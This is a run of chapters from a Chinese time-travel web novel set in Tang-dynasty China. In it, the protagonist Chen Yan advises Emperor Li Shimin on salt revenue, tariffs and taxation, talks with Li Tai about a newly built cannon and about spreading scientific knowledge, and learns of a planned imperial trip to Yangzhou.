“和睦不是妥协换来的,而是用刀杀出来,用铁骑踏出来的!” “更重要的是,万国来朝最关键的不是荣誉,更要讲究利益,让万国持续不断地为我大唐输血,才能壮我大唐!” “......” 第664章 等灭了吐谷浑 “不错!” 李世民微微颔首:“世间之和睦,从来不是靠嘴上说,亦不是靠妥协。” “朕始终记得子安的那句话,叫做尊严存在于刀锋之上!” “朕管他们服不服,朕要的不是万国来朝,朕要的是大唐存在的时候,能永远无惧任何强敌,即便八方来敌,亦能坦然面对。” “而这一切的前提,都离不开一代又一代人的努力,离不开跟上时代的脚步,离不开钱袋子。” “大唐的税基,终究是差了太多。” “趁着现在世家沉寂,影响力缩小,朕不能光顾着自己富,得让户部也富起来。” “如此,方为长久之计!” 长孙皇后一怔,随即不再言语。 怎么说呢,她知道自己的短处,很清楚自己身为女性,考虑问题的角度跟他们不同。 有些时候,自己可以适当提出自己的想法,若是能被采纳,自然最好,若是陈衍和李世民他们都不认同,她也不会觉得有什么。 “陛下英明。” 陈衍适时送上一记马屁。 李世民瞥了他一眼:“不过朕有一点搞不懂,这跟细盐有什么关系?” “你怕不是在拿着关税的幌子,想岔开话题,蒙混过关吧?” “朕要你给的解释,你可还没给朕呢。” 陈衍心里发苦,这一茬怎么就过不去了? “陛下,那细盐,放在您手中,真的发挥不了最大的用处,给户部和工部......” “朕知道这个,你能不能说点朕不知道的?” “......行!”陈衍一咬牙,直言道:“我若是提前私底下跟您商议,您还不知道要拖到什么时候呢。” “毕竟细盐是什么?用一只下金蛋的母鸡来形容都不为过,在您手中一天,您就多一颗金蛋。” “我就算跟你商量,你答应了,估计也要找理由拖上一段时间,然后才恋恋不舍地给我。” “有这些时间,早就够工部召集大量人手,开始大规模开采毒盐矿,甚至完整的生产流程都打通了。” “我何必跟你商议呢?” “不如直接在朝堂上提出来,逼迫一下您,然后把东西拿到手,将事情落定下去才好。” 说完,他不给李世民生气的机会,继续道:“当然啦,我也知道,以陛下的性格,大概率会生一下气。” “不过陛下终究是那个英明的陛下,咱们一家人,关上门把事情说开,我想,您应该能理解我的。” 李世民:“......” 好家伙。 好话坏话都他娘的让你给说了,朕说什么? 还能说什么? 长孙皇后忍俊不禁,莫名地扫了眼李世民。 陈衍说得确实不错。 以前的李世民穷怕了,虽然说现在很有钱,可大多都攥着,除了必要的花费,吃穿用度都很节省。 尽管细盐在他手里没有全部铺开,但也已经成为了主流,每天的收入相当不菲。 陈衍一下子让他拿出来,他不拖一段时间才怪呢。 果然是翁婿啊。 算计得死死的。 李世民憋着一口气,脸色一阵青一阵红:“朕是那种人吗?” “在正事上,朕什么时候拖过后腿?” “对对对,陛下当然不是。”陈衍敷衍道:“都是我以小人之心度君子之腹,是我的不是。” 李世民:“......” “陈子安!!” “.......哎。”陈衍有气无力地应了声,“陛下,我在呢。” “你在敷衍朕!?” “没有,陛下你肯定是误会了,我怎么敢敷衍您呢?” “你还说没有?你刚刚都对对对了!” “我错啦,是我嘴巴笨,是我的不是,陛下您就原谅我吧。” 李世民:“......” 怎么说呢。 他忽然有种一拳打在棉花上的感觉。 有力气都没地方使! 陈衍又解释了一句:“另外,盐作为人的生存必需品,一旦放出去,必将受到异域商人大力追捧。” “毕竟,外面的异域诸国不比大唐,各种资源都相当丰富,外面很多国家都非常缺盐。” “异域的商人过来,每次都会购买大量的盐走,如果我们先放出细盐,然后再设立关税,很多缺盐的小国就必须捏着鼻子认下。” “还有其他方面的问题,我不说您应该也能明白。” “总而言之,陛下,这都是为将来做准备啊。” 最后一句话,陈衍咬字稍微重了点。 李世民心里的气一下子泄了出去。 是啊。 陈衍做这件事,自己又得不到什么利,还不都是为了朝廷,为了户部,为了这大唐。 他若继续斤斤计较,就显得他小气了。 另外。 细盐的出现,必将成为垄断品。 如果有更好、更便宜的盐,谁还吃以前的那种酸涩的盐,甚至辣盐? 最重要的是,这能很好地扩大朝廷影响力,为将来改革打下基础。 李世民还能说什么? 他沉默了一会儿,突然问:“很多话,朕其实已经听过太多次了。” “你总说为将来做准备,将来到底是什么时候?” “咱们,又要到什么时候,才能彻底把累进税制实施下去,踏出去第二步呢?” “陛下,您真的是在问我吗?”陈衍有些怀疑。 这种事,他不相信李世民想不明白。 李世民闭口不言,就盯着他。 “好吧。” 陈衍瞬间明白了,李世民不是不明白,而是要自己说出来,给他更多的信心。 “累进税制.......” 陈衍思忖良久,开口道:“我认为,等我们打下吐谷浑,陛下你在泰山封禅,那个时候,应该就是最好的时机了。” “打下吐谷浑啊......”李世民眼神微动,“那岂不是就在今年?” “至于泰山封禅......朕随时可以进行。” 陈衍:“陛下是嫌弃太久了?” “呵呵,朕有没有嫌久,你自己心里很清楚。”李世民斜睨着他,顿了顿,突然哈哈大笑起来。 他站起身,背着手。 “好,有你这句话,朕心里舒坦太多了。这第二步,朕也已经期待很久了。” “等灭了吐谷浑,完成泰山封禅,就是累进税制真正面世的时候!” “.......” 第665章 七月初 七月初,酷热的夏日步入尾声,秋季正随着时间推移到来。 比之提前到来的,是清晨与晚间的凉风。 此时,户部尚书厅内。 刚下朝的陈衍靠在自己的椅子上,手里捧着一册账本仔细观看。 他旁边,已经正式成为工部尚书的康崇安静坐着等待。 这几个月以来,自陈衍从李世民手里拿回细盐,并在李世民的允许下,各部联合,特别是工部与户部,开始了全力开采盐矿,制作细盐。 另外,陈衍没有想着自己去开什么商铺,而是直接借助了已经逐渐占据全大唐,以及各州、各县的官府渠道卖盐。 结果自然不出意外,在极其低廉的价格以及官府、钱庄的双重背书下,细盐一出现,立即受到了全大唐百姓的追捧。 第一批细盐的利润已经出来了。 陈衍盯着账本后面的数字,一百四十二万贯,皱了皱眉。 说真的,这个数字有点超出他的预料,因为这是除去一切人工、运输、制造等等成本算出来的总利润。 从细盐全面铺开,到如今不过区区一个月,一百多万贯的收益,怎么看都觉得有些不对劲。 “大人,您是对这个收益不满意吗?” 康崇察觉了陈衍翻到最后一页时,微微皱了皱眉,故此询问道。 陈衍摇摇头:“不是不满意,而是有点出乎我的预料。” “按照我们这一个月放出去的细盐数量,全部售卖完能获得两百多万贯的收益我都不意外。” “只是......”他说着点了点账本上的数字:“你看看这些数字,我们按照各州各县的人口情况,从而决定了给予多少细盐。” “按理来说,我们给予的量,足够各州各县售卖两个月,足够让当地所有人吃上两个月了。” “可现在,短短一个月时间,我们分配给各州各县的细盐几乎已经售卖完。” “你说......这些盐到底是被百姓买过去了,还是被商人买过去了?” 康崇微微沉吟:“大人您的意思是......有人想通过细盐倒卖赚取利润?” 陈衍淡淡道:“在大唐境内,倒卖细盐肯定是赚不到钱的,毕竟我们已经定死了细盐的价格,甚至通过大唐民报宣传了出去,全大唐的细盐价格统一,全大唐皆知。” “这么大量的细盐被买走,除了那些异域商人,恐怕还有我们大唐自己走境外的商人。” “当然,不排除有部分百姓担心今后没有细盐卖,所以多囤了点。” “总之,这个收益肯定是不对的,倘若你们工部重新制作出来的细盐继续放下去,下个月仍然售卖一空,下面的各州各县催你们工部补货。” “那么,基本上就可以确定有人想把细盐倒卖到异域诸国了。” 康崇闻言思忖了一会儿,道:“大人,我们不如规定一下这方面?” “让每家或者每户,一个月只能购买多少数量的细盐。如此一来,既能保证百姓能吃上细盐,更能保证细盐不外流。” “另外,还能保证账面收益平稳,避免一个月高一个月低,您认为如何?” “不如何。”陈衍否认了康崇的想法。 后者一怔,疑惑道:“大人,这是为何?” 陈衍反问道:“我问你,现在的大唐还缺盐吗?” 康崇立即回道:“当然不缺!” “掌握了您的制盐之法,从理论上来说,大唐永远不会再缺盐。” “倘若官府不涨价,不加收盐税,天下百姓都将吃得起盐。” “既然不缺盐,那为什么要阻止盐流通出去?”陈衍再度反问。 康崇一下子语塞了。 仔细想想,好像确实是这么个理。 在从前,别说这些跟雪花一样白、跟砂砾一样细的盐了,就是白色的粗盐,那都是各国上供的上佳贡品,是奢侈品中的奢侈品。 而如今制盐之法的出现,彻底打破了这一局面。 不仅让大唐不再缺盐,而且还让以往的奢侈品变成了寻常品。 可就目前来说,这种情况只局限于大唐。 在异域诸国,细盐依然是奢侈品。 除非那些倒卖的商人大规模把细盐带过去。 当然,这些商人把细盐带过去,同样会给他们带来利益,毕竟他们的盐都是明码标价的。 唯一的问题是...... 允许细盐流出,会不会对大唐产生不好的影响...... 似乎是猜到了康崇在担忧什么,陈衍放下账本,平静道:“康崇,我问你一个问题。” “大人请说。” “这座天下,缺过盐吗?” 随着这个问题被抛出来,康崇一下子沉默了。 这座天下缺过盐吗? 这是个很好的问题。 现在的大唐缺盐吗? 当然不缺。 但从前陈衍没有拿出制盐之法的时候,盐就缺了吗? 答案是没有的。 天下从来都没缺过盐。 但就跟前面说的一样,盐是奢侈品,特别是上好的盐。 大家之所以产生缺盐的心理,是因为大家从前根本吃不起盐。 盐的价格太高了,以前的盐税更高。 百姓吃不起而已。 现在之所以说不缺盐,单纯只是因为陈衍强行统一了细盐的价格,把这件奢侈品,拉低到了一个大家都能消费得起的地步。 就这么简单而已。 “我想,你心里应该已经有答案了。”陈衍笑了笑,躺在摇椅上,微微闭着眼,轻声道: “不仅大唐不缺盐,其实大唐外面那些看似因为地理位置,从而缺盐的国家,本质上都是不缺的。” “我们从小听多了身边有多少人饿死,然而却没听到过多少人因为缺盐而死。” “不是说盐不重要,恰恰相反,盐是人生存的必要物资......只是,对于盐......大家其实都有办法的。” “吃不起盐,还能吃不起硝盐?吃不起腊盐?吃不起草木灰水?吃不起腌菜卤与动物血?” “总之,避免细盐流出去,压根没多大意义。” “不如在这方面看看有没有可利用的东西,为我们自己争取更多利益。” “比如说......关税。” “......” 第666章 户部的兴奋 “关税......” 康崇眼里闪过一道光芒,隐隐有些开始兴奋了起来:“大人,我记得你上个月就在私下跟我们提起过这件事。” “如今要实施下去了吗?” 陈衍微微颔首:“关税是势在必行的,目前就能确定下来,陛下早在几个月前就答应我了。” “如今已经到了七月,兵部尚书李靖已经集结大军,到月底的时候我想大军就能进入战备状态。” “此次拿下吐谷浑,大唐的声望会再度上升一个层次,正好此时细盐几乎全部铺开,现在不把关税确定下去,什么时候确定?” 康崇恍然。 难怪大人不怎么想阻止细盐流出去,原来是想在关税上卡一卡,为大唐争取更多利益啊。 “那大人,咱们准备的关税政策大概是怎么样的?跟异域诸国一样,收取货物吗?” “收取货物?”陈衍嗤笑道:“我们需要什么货物?那些华而不实的东西,收过来还要费心去售卖。” “不如直接清点货物总价,然后按照一定比例收取金银......金子,或者大唐的铜钱。” “其他都是虚的。” 陈衍说着,顿了顿,扭头道:“算了,如今你已经不是户部的人了,这些问题就少关注吧,等上了朝堂,提出来的时候,你认为关税可以的话,支持一下就好了。” “你回去之后,尽量继续召集人手,争取把制作细盐的规模扩大一些,我有预感,如今我们的规模依然不太够,还需要扩充。” “是,大人。”康崇郑重应下来。 陈衍哑然道:“康崇,你如今跟我已经是同级,不用再称呼我大人了,亦不用在我面前像下属一样。” 康崇闻言,坚定道:“不一样的,大人,如果不是您,我如今恐怕还是个五品官,哪里能坐上如今工部尚书的位置。” “正式场合上,我没有办法,但私底下,还请您莫要见怪。” “.......算了。”陈衍见他态度坚定,也不想操心这些小事,随口道:“你回去的时候,帮我叫一下马周,杜构他们过来一趟。” “明天,我们会正式提出关税,这次应该会比较顺利,没什么人阻止。” “好。”康崇点点头,“那我先回去了,大人。” “去吧。” 康崇缓缓离开,顺便带上了门。 陈衍躺在摇椅上,睁着眼望着屋顶,不知道在想些什么。 不久之后,门被敲响。 马周、韩仲良、杜构、房遗直四人走进来。 见到陈衍躺在摇椅上,也不见怪,各自找位置坐下了。 过了一会儿,陈衍淡淡开口:“关税的事,就在明天提出来吧。” “具体的,就按照我们之前商议的来。” 几人闻言,对关税并不意外。 因为从三个月前,陈衍就把要收关税的事情告诉了他们,并时常跟他们讨论该怎么收取这个关税。 目前,他们已经基本确定了关税的政策,只等时机到来了。 马周迟疑道:“大人,我还是有些不明白,为什么我们一定要卡死金子和大唐的铜钱,银子不行吗?” 杜构和房遗直听到这句话,眸光闪烁了一下,不过却没有多说什么。 陈衍很直接道:“不行。” “至于为什么,你没必要在意那么多,主要是收取金子和铜钱。” “另外,大军集结在即,月底的时候,估计就会进入战备状态,户部的粮草这段时间一定要仔仔细细地给我清点一遍。” “我不希望看到这方面出现任何问题!” “是,大人。”马周等人不敢大意,郑重应下来。 “打仗啊......”陈衍长叹了一声,随即把账本往他们那边递了递,平静道:“有了细盐的收入,户部的压力会大大减缓,光是盐一项,一年下来估计都能比得起从前户部一整年的收入了。” “倘若再加上关税,收入估计会更多。” 接过陈衍手中的账本,几人顿时围在了一起,一串又一串数字地看下去,越看越惊喜。 直到看到后面的总利润。 四人都惊呆了。 马周颤声道:“一百多万贯?” “这还是一个月的收入?” 杜构亦是吞了口唾沫。 一个月一百多万贯什么概念? 一个月一百多万贯,一年下来就是一千多万贯啊。 这何止是比得起从前户部的税收,这简直还要超出啊。 直接翻倍可还行? 如果再算上即将实施下去的关税...... 众人顿时倒吸一口凉气,一个个面带惊喜,振奋不已。 这可是实打实的功绩啊! 进入户部不过一年时间,直接让国库收入翻倍,而且还是在不增加赋税的情况下做到的。 这他娘的还有谁? “大人!”韩仲良兴奋道:“咱们今后不用在朝堂上受那些人的鸟气,一天天掰着手指头算账,还算不清楚了。” “是啊。”杜构感慨道:“苦日子,咱们总算是熬出头了。” “想什么呢?”陈衍翻了个白眼,“我们要做的事情太多,如果硬要算的话,这点钱还不够呢。” “另外,你们以为光打完吐谷浑就完了?” “未来要打的仗还有很多呢,吐谷浑只是一个开始。” “不管是大唐内部,外部,无论做什么,都离不开钱,所以咱们这点啊......我只能说足够解了燃眉之急。” 四人:“......” “不是。”房遗直人都傻了,“咱们要做什么啊?预估每年三千万的收入都不够?” 陈衍沉默道:“不够,远远不够。” “你们认为,造成百姓日子苦的原因,是什么?” “那还用说?”杜构毫不犹豫道:“自然是赋税了。” “不管什么朝代,什么时代,赋税都是压在百姓心头的一座山,而且越来越重,直到他们扛不住,被赋税给压死。” 说着,他有些紧张道:“子安兄,你该不会想取消赋税吧?” 此话一出,其他人心里猛地一惊,也变得紧张了起来。 陈衍没好气道:“你想哪里去了?” “取消赋税?你开什么玩笑呢?” “我取消你官职都不会取消赋税。” “......” 第667章 烛火与一个机会 日落时分,陈衍难得清闲在家中。 躺在院子里,晒着今天落日的余晖。 李泰学着他的样子,搬来了一张躺椅,在旁边躺下了。 自从陈衍娶了两位公主,后来又升为国公,他家已经进行过一次扩建。 很多地方都被拆除,比如从前用来养猪的猪舍以及制作琉璃的工作间。 而陈衍最喜欢的后院,在这期间被大肆改造了一下,特地挖了一个不小的池塘,前两个月刚完工。 尽管现在他的国公爵位被撤去,可撤去的只是爵位,他的待遇是一点都没变的。 所以陈府现在依然很大。 现在,两人就躺在池塘边上,静静地看着池塘的水波纹流动。 “子安兄......咱们要不在里面养点鱼吧。” 李泰开口提议:“闲来无事,我们就在这里钓钓鱼,倒也不失一桩美事。” “可以啊。”陈衍随口答应下来,“我恰好还想在里面种点荷花,周围种上桃树,等有了桃花,咱们就摘下来,用来酿酒。” “你觉得怎么样?” 李泰露出一丝笑容:“我觉得十分完美!” 陈衍看了他一眼,打趣道:“如今你倒是轻松了,赶在了出征之前,把神威大炮做了出来,可以休息很长一段时间了。” 提起此事,李泰脸上不免升起一抹得意:“那你以为?” “也不看看我是谁?” “区区一个神威大炮,怎么能拦得住我?” “不过子安兄......”他说着兴奋道,“你之前说的真是一点都没错,尽管我现在已经做出了神威大炮,但我觉得这些东西能改进、优化、升级的地方实在是太多了。” “目前的神威大炮,按照我们的设想,还只是最简陋的第一版,虽然能用,威力也确实不俗,但也仅仅是能用而已。” “子安兄,你说我们接下来该往什么地方发展?” “接下来?”陈衍抬眸,“接下来你好好休息一段时间,我会在这期间抽空多给你们上上课,特别是数学、物理、化学等知识。” “你真的很适合干这个,只是脑子里有的知识还是太少了,你需要更多的知识来充实自己,才能面对未来更多的困难。” 李泰点点头:“我明白,万丈高楼平地起,越是庞大的建筑,就越是需要深厚、结实的地基。” “否则只会是空中楼阁、镜花水月。” “嗯,你能明白这一点就很好。”陈衍欣慰道,“不过接下来,咱们暂时别往武器上面发展了。” “我不是让人记录过我上课时说的一切知识吗?” “如果可以的话,你除了跟我上课,我希望你拿着这些知识,教导给科研院的人,甚至我们直接请求你父皇和母后,成立格物院。” “今后武器方面的钻研,或者一些其他的东西都交给他们钻研,而我们需要做的,就是完善其他方面的东西。” 听到他的话,李泰诧异道:“子安兄.....这样的知识,你要传授给别人?” “为什么不呢?”陈衍反问。 这...... 李泰一下子迟疑了。 他不知道该怎么说。 因为知识向来是无价的,特别是陈衍说的知识,越是了解,就越是颠覆他的认知。 像是什么物理、化学,在他们眼中,几乎等同于天地运行的规则,是以微末掌控天地之力。 曾经李泰听陈衍说过一句印象很深的话。 如果你了解的足够多,科技发展到一定地步,那么即便是闪电都能被他们操控。 为此,陈衍还准备了很多材料,当场给他们演示过,花了一个多月时间,做出了一个手摇的摩擦起电机。 在他们一众人的见证下,陈衍用硫磺融化,铸成圆棒,再用琥珀玻璃、上等的丝绸、然后加金箔,外加一个临时制作出来的玻璃罐。 当陈衍开始摇动摩擦起电机,不久之后,他伸出手指靠近,那一刻,‘啪’的一声,爆出肉眼可见的蓝色电流火花。 那已经是贞观五年的事情了,可李泰如今依然清清楚楚地记得。 他觉得,那一幕是他这辈子永远无法忘记的,最为震撼的一幕。 而这样的知识,陈衍不但愿意教给他们,还愿意教给其他无关的人。 李泰着实很难理解。 因为在他看来,这样的知识,难道不应该一脉单传下去吗? 为什么要教导给别人? 沉默良久,李泰实在感到疑惑,询问道:“子安兄,我真的不明白。” “有什么不明白的?”陈衍望着湖面,平静道:“知识应该被传播,而不是被封锁。” “否则的话,时代怎么进步?这世界又如何能变得更加美好?” “青雀,别以为自己是最聪明的那个,你确实很适合钻研科学,可天底下聪明的人太多了,绝对有比你更聪明、比你更适合干科学的人。” “例如小清月。” “即便她还小,但她展现出来的天赋,以及对这方面的嗅觉,让你时常都感到惊讶,不是吗?” 李泰无言以对。 因为陈衍说的都是实话。 别的不说,光是他的神威大炮能这么快做出来,就离不开小清月时不时提出的问题和建议。 每次,小清月总能带给他不一样的惊喜。 李泰必须承认,在这方面,小清月比他更有天赋。 况且,小清月年纪实在太小了,可塑性又太强了,更是远没有达到智力巅峰。 他确实比不了。 “青雀啊。”陈衍幽幽道:“科学的进步,不是一代人就能完成的,它需要一代代人前仆后继地踏入这个领域,并奉献自己的一生,才能推动时代的进步、科学的发展。” “一点烛光,连整个屋子都不能完全照亮,可当无数烛光汇聚在一起......” “即使是深渊,也能亮如白昼。” “还是那句话,天下英雄,如过江之鲫。” “很多人啊......不是没有能力,他们只是缺少一个机会罢了。” “呵呵......历史上,这样的例子实在太多了,不是吗?” “想想当初的汉高祖刘邦,一个小小的沛县,走出了多少光耀古今的人物?” “我们需要做的,就是给大家一个机会!” “......” 第668章 对外与对内 李泰沉默了很长一段时间,最终才感慨道:“子安兄,我们都不如你啊。” “如果我是你的话,我做不到把这些知识传播出去,我没有那么无私。” 陈衍闻言侧头看向他:“所以......你不愿意去教导科研院的人?” “那倒不是。”李泰哑然,“反正我最近没什么事,而且知识的来源是你,你都决定传授出去了,我怎么能阻止?” “另外,虽然我做不到毫无私心,但不怕你笑话,我却很愿意看到你把知识传授出去。” 陈衍愣了一下,笑着点点头。 “对了。”李泰想起一件事,“你方才说,我们不要把重心放在武器方面,而是其他方面。” “具体是什么?” “具体?”陈衍想了想,提出一个问题:“青雀,你之前有一句话说得很对,不管是神威大炮,还是尚没有制作出来的火铳,它们都存在巨大的升级空间。” “比如说,你现在做出来的神威大炮只能打击两百米外的敌人,可实际上,只要不断钻研、优化、升级,未来它可能能对两千米、两公里、二十公里外进行打击。” “不过这不单单是神威大炮的进步,而是需要一系列科学技术的进步才能做到。” 说到这里,陈衍顿了顿,“我举个例子。” “即便你现在增加火药的数量,或者继续想办法在不增量,只增力的情况下,让神威大炮能打得更远,爆炸威力更大。” “但是,大炮的炮管能扛得住吗?” 李泰皱眉,陷入了沉思。 不开玩笑地说,大炮能被他成功做出来,还是多亏了陈衍改良了锻铁的技术。 否则的话,以他们从前的锻铁技术,制造出来的炮管,大概率是无法支撑大炮发射多少次的。 陈衍的意思也很简单。 就是在告诉他,武器已经陷入了瓶颈,你哪怕继续钻研,找到了更好的技术,可受制于材料问题,依然无法做出来。 “青雀啊。”陈衍不急不缓道:“武器自然是一个国家立足的基本,然而一个国家不能只有武器。” “说真的,你做出来的炸药、大炮,已经远远超出了这个时代人们的想象。” “不谈还在想办法制作的火铳,和你刚成功做出来的大炮,光是一个炸药,就已经足够把我们的敌人脑子炸开。” “毫不客气地说,我们已经走在了脱离冷兵器时代的路上,大唐之外的其他国家,却还受制于刀兵够不够坚硬、够不够锋利。” “他们拿什么跟我们玩?” 李泰默默听着,时不时点点头表示认同。 陈衍抬手指了指远处:“我们生于这里,长于这里,自然希望这里能够变得更好。” “既然武器方面已经超出了别人不知几何,对外我们已然立于不败之地,我们就应该减缓一下脚步,把这方面交给其他人,然后把目光对准大唐内部。” 李泰听完,若有所思地点了点头,但眉头还是微微皱着。 “子安兄,你说的我大概明白了,可具体到底是什么?你指的又是什么?总不能是修桥铺路、开荒种地这些吧?这些事情,下面的人一直在干。” 陈衍笑了笑,没有直接回答,而是反问道:“青雀,你觉得现在大唐的老百姓,日子过得怎么样?” 李泰愣了一下,斟酌着说:“还......还行吧?父皇这些年,轻徭薄赋,吏治也算清明,而且自你出现之后,大唐简直一天一个样,短短几年时间,就已经有盛世的开端了,比起隋末那会儿,肯定好太多。” “那比之贞观初年呢?” “那自然也好上不少。”李泰答得很快。 陈衍点点头,又问:“那比之十年后呢?” 李泰被问住了,张了张嘴,没说出话来。 陈衍看着他,语气还是那么平缓:“你看,咱们都知道现在比过去好,可未来能不能比现在好,谁也不敢打包票。” “为什么?不是因为你父皇不够勤政,也不是因为官员不够卖力,而是因为,地里打的粮食,就那么些,布匹织出来的数量,就那么些,一头牛能干的活,也就那么些。” “这些东西不增加,老百姓的日子,就算好也好不到哪儿去。” 李泰皱着眉头,隐隐抓住了点什么:“你的意思是......让地里多打粮食?” “不止。”陈衍摇摇头,“粮食要多打,布要多织,路要好走,病要好治,孩子要能识几个字,这些东西加起来,才叫日子。” “我教给你的知识,不应该只用来制作武器,用来杀人,那是对外的。” “对内,咱们也要想办法用所拥有的知识,让这片土地上的人们过得更好。” “比如水力纺织机、比如曲辕犁、比如水车,这些东西看似简单,可对于百姓的帮助是无与伦比的。” 李泰差不多明白了过来,笑着想要开口。 然而这时,一双手忽然从背后伸了过来,按在了两人的摇椅上:“不管是对内还是对外,都应该被重视,你们有自己的想法,这很好。” “朕不反对你们,只是......你们是不是应该先把所谓的神威大炮拿出来,让朕瞧瞧?” 两人一惊,连忙回头,就见李世民站在两人身后,后面还跟着李丽质、高阳、魏王妃。 陈衍和李泰顿时坐不住了,立即站了起来。 “父皇。” “陛下......您怎么来啦?来了也不说一声,您瞧瞧我这啥都没准备您说......” 陈衍笑嘻嘻地开口,李世民给了他一个白眼。 “你别跟朕扯这些东西,朕是听说了神威大炮做了出来。现在的情况你们都清楚,大军已经开始集结了,朕想看看你们耗费了那么多人力、物力、财力做出来的神威大炮,到底是个什么样。” “能否在此次出征吐谷浑中拿出来使用,你们要给朕一个准信。” 李泰闻言,当即挺直了身子:“父皇,您想看看神威大炮,这还不简单吗?” “我还说今天有点晚了,明天再跟您说了,既然您来了,那咱们就走一遭。” “让您看看儿臣这些日子的成果。” “......” 第669章 出长安? 长安城,郊外。 陈衍和李泰跟李世民乘坐马车,加急出城。 路上,李世民面露古怪:“你们这是要把朕带到哪里去?” “朕记得,朕给你们建立科研院的地方,虽然偏僻安静了些,但还没到要出城的地步吧?” 李泰解释道:“父皇有所不知,这大炮的威力太大,造成的动静更不是一般的大,所以儿臣特地在城外寻了一处位置,专门用来测试大炮。” “原来如此。”李世民顿时明白了,想想当初炸药给他带来的震撼,确实不能在长安城内点燃。 如果经常测试,导致城内整日炮火连天的,恐怕很容易引起百姓恐慌,届时传出什么妖魔鬼怪、仙神之说就不好了。 李世民手指轻轻点了点,抬眸对陈衍道:“子安,你们做出来的大炮,当真有那么大威力吗?” “按照你们的描述,岂不是一门大炮,三颗炮弹就足以轰开城门?” 说起这个,李泰当即带着一丝骄傲与自得:“父皇,不是儿臣跟您吹,就目前整个天下,就没有能挡得住神威大炮一炮的城门。” “无论是多么坚固的城门,背后有多少人堵住,只需要把炮口对准城门,然后用火折子轻轻一点......” 李泰越说越兴奋,还伸出手,五指合拢:“然后,砰......” “砰你个头!” 陈衍急忙捂着李泰的嘴,不让他继续说下去。 李泰一脸茫然,搞不懂陈衍为什么拦住自己。 说真的,起初李世民问出这个问题的时候,陈衍一样没反应过来。 只是后来,随着李泰说出只需要一炮,就可以轰开所有城门的时候,陈衍察觉到了李世民眼底的情绪有细微变动。 他顷刻间便明白了。 大炮的威力自然不用多说,就目前的城门,绝对挡不住一炮,顶了天不超过三炮,绝对能轰开。 另外,如果有十门大炮,拥有足够的炮弹,即便是城墙都能被轰成碎渣。 因为现在的城墙几乎是全靠厚度堆出来的坚硬,只要拥有足够的火力,轰开包没有问题的啊。 既然清楚了大炮的威力。 他们作为制作者,自然只会觉得骄傲。 可李世民是谁? 是皇帝啊。 他会想什么? 他会不会想,如果有人推着一门大炮,是不是一炮就能轰碎长安城的城门,继而打进长安? 他们能做出大炮,别人是不是也可以? 更别说前面陈衍还说过,要把知识传播出去...... “陛下......”陈衍顿了顿:“一步快,步步快,更别说,现在知道这些消息,懂这方面知识的,都是可以绝对信任的人。” “.......” 李世民挑了挑眉,意味深长地看了眼陈衍:“子安,在朕心里,你跟青雀跟其他人存在根本上的不同,你明白吗?” “我明白。”陈衍心里松了口气。 李世民的意思其实很好明白,就是说他信任自己和青雀,可其他人显然没这个资格。 此时,李泰也反应了过来,挠挠头,不说话了。 李世民沉吟道:“朕不反对你把知识传授出去,跟青雀说的一样,这本来就是你的东西,你想怎么样,旁人都管不着。” “但这些东西太过惊世骇俗了,就目前来说,肯定是不能大范围传授的,你们科研院的人......朕回头会好好查查,然后盯紧。” “还有,火药这样的东西,必须要想办法管制起来了......” 陈衍眨眨眼,忽然笑道:“陛下,我以为您在见到炸药威力的时候,就会对这方面进行管制了,没想到现在才提出来。” 李世民瞥了他一眼,没搭理他的话,转而说:“你此前说的一步快,步步快,朕是认可的。” “实际上来说,朕很清楚时代的进步是必然的,就好比华夏从石器时代变成青铜时代,再变成铁器时代。” “现在铁器刀兵即将被淘汰,炸药和大炮的出现,必然会改变战争的形式。” “这种东西是瞒不住的,朕也不想瞒,因为朕需要用到这些东西去平定外敌。” “一旦敌人见到,势必会想尽办法去钻研这些东西,不过他们没有你的知识,没有你的提点,想跟上我们的脚步需要耗费的时间绝对很长。” “但这些东西一旦面世,只要有心,终究会被钻研出来,不是吗?” 陈衍点点头:“是的,毕竟火药的味道很大,这绝对是瞒不住的。” “只要清楚了火药这个关键点,其他都是时间问题。” “不过陛下......我认为,别人想要跟上我们的脚步,其中需要花到的时间,可能远比你想象中要长。” 说到这里,陈衍干咳一声:“毫不客气地说,咱们已经领先了不止一步......呵呵,陛下,您应该对我有信心才是。” “朕一直都对你有信心。”李世民抬手按了按,随后话锋一转:“但是,子安,朕需要的是一直领先,你明白吗?” “所以,这也是朕不反对你传授别人知识,却要筛选人的原因。” “明白明白。”陈衍笑吟吟道:“反正您做决定就好了,不让我教也行,反正我已经交给了魏王和兕子他们。” “我是过完了当先生的瘾,其他都由您来决定。” 李世民一怔,明白了陈衍话里的意思,笑着伸出手指点了点他:“你啊~” 说着,他叹了口气:“算了,朕不说你了,朕也清楚你其实不想管这些事。” “等今年过去,拿下吐谷浑,朕让你好好休息一段时间。” “真的?”陈衍眼睛顿时就亮了。 什么升爵封赏对他来说都是虚的,给他最好的赏赐,就是好好休息两个月。 “真的。”李世民先是肯定了他,转而道:“不过,你过几天要跟朕出去一趟。” “占城稻和土豆从最初种下去,如今马上要进行第二次收成了,你这几天准备一下,跟朕走一趟吧。” 啊? 听到这个消息,不仅陈衍懵了,李泰也懵了。 走一趟? 当天还能回来吃饭吗? “.......” 第670章 下淮南? “不是,等等!” 陈衍脑子一时间都没反应过来,又仔细回想了一遍李世民的话,才难以置信道: “咱们?去看一下占城稻的收成?” 李世民稍稍扬眉:“怎么?你不愿意去?” “这是我愿不愿意去的问题吗?”陈衍人都麻了:“如果我没记错的话,咱们的占城稻,经过商议之后,是种在了淮南道的扬州吧?” “对呀,怎么了?” “怎么了......”陈衍彻彻底底麻了。 扬州那是什么地方? 它位于长江下游北岸,江淮平原的南部,紧邻大运河的入江口。 隋炀帝开凿大运河后,扬州成为了南北水陆转运的枢纽。南方的粮食、食盐、丝绸、茶叶都要在这里集结,然后运往洛阳和长安。 用现代的城市来作比喻,那就是上海+港口物流中心啊! 最重要的是,长安距离扬州直线距离就达到了一千公里,如果要从长安到扬州,走水陆混合路线,那就要一千多公里了。 用大唐的计算方式,就是两千七百里到三千里。 这还是走水路之后的结果,倘若只走陆地,还要更远。 从扬州到长安,即便是八百里加急最少也需要五天,正常物资运输更是要一个月以上。 李世民这一去,没一两个月,能回得来? “陛下,三思啊!” 陈衍忍不住劝道:“咱们这一去,一来一回,最快也要一个多月了,如果停留一段时间,两个月也有可能。” “你走了,偌大的朝廷怎么办?那么多公务又怎么办?” “不行不行,绝对不行。” 李世民就知道是这个结果,平静道:“这不是还有你的承乾兄吗?” “他当了这么多年太子,很多政务处理起来已经是得心应手,而且更不是第一次监国了。” “两个月罢了,如果承乾连两个月的稳定都维持不了,我如何放心他来做这个太子?你不如转头支持青雀或者稚奴算了。” 陈衍:“......” 